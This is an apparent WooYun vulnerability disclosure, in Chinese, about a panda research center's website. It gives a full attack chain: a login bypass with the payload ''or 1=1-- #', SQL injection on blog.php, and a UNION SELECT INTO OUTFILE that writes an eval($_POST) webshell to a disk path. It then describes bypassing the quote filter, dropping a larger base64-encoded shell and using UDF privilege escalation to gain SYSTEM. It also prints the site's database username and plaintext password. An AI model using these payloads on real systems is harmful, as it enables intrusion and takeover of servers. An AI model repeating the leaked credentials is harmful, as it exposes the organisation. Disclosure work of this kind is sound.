WooYun.org

http://**.**.**.**/bugs/wooyun-2010-0149063/trace/40ed46c3b88cb092d7c80e7389daa673
中国保护大熊猫研究中心首页存在SQL注入漏洞/后台登入绕过/物理路径泄露漏洞可Getshell
中国保护大熊猫研究中心中文、日语、英语三个网站首页均存在后台登录绕过，以及物理路径泄露，和sql注入漏洞，但网站过滤引号字符，需要使用小技巧绕过防御，详情看描述
1.后台登录绕过
在网站首页最底下，有一个管理页面点击进去，存在万能密码sql注入绕过
http://**.**.**.**/index.php
账号:'or 1=1-- #

2.后台存在上传页面，尝试上传php大马，爆出物理路径

3.blog.php页面存在sql注入
http://**.**.**.**/blog.php?id=1506

http://**.**.**.**/blog.php?id=1506 order by 12-- # 出错情况如下

http://**.**.**.**/blog.php?id=1506 order by 11-- # 出错情况如下

http://**.**.**.**/blog.php?id=1506 order by 1-- # 出错情况如下

由此 我们可以发现，这里其实一共有三个sql语句查询
order by 12出错在第一个sql查询
order by 11出错在第二个sql查询
order by 1出错在第三个sql查询updata
我们可以利用order by 11 使得第一个查询成功 但是没有回显结果 因为第二个sql查询出错挡住了结果
故验证正确
执行了但没回显

利用物理路径写入一句话
http://**.**.**.**/blog.php?id=1506 and 1=2 union select 1,2,一句话hex,4,5,6,7,8,9,10,11 into outfile 'D://panda//panda//1.txt' -- #

4.绕过防御
写入一句话eval($_POST[c])，但是菜刀并连不上去,因为输入过滤了引号

利用多参数传递，绕过引号

然后想如何写入大马提权呢，直接base64编码绕过防御后在解密落地吧

写入大马，查看配置
$dbservertype='mysql';
$servername='localhost';
$dbusername='PANDA';
$dbpassword='pandaeyes123';
查看mysql数据库，发现root密码跟PANDA密码md5一样，直接UDF提权
附system权限图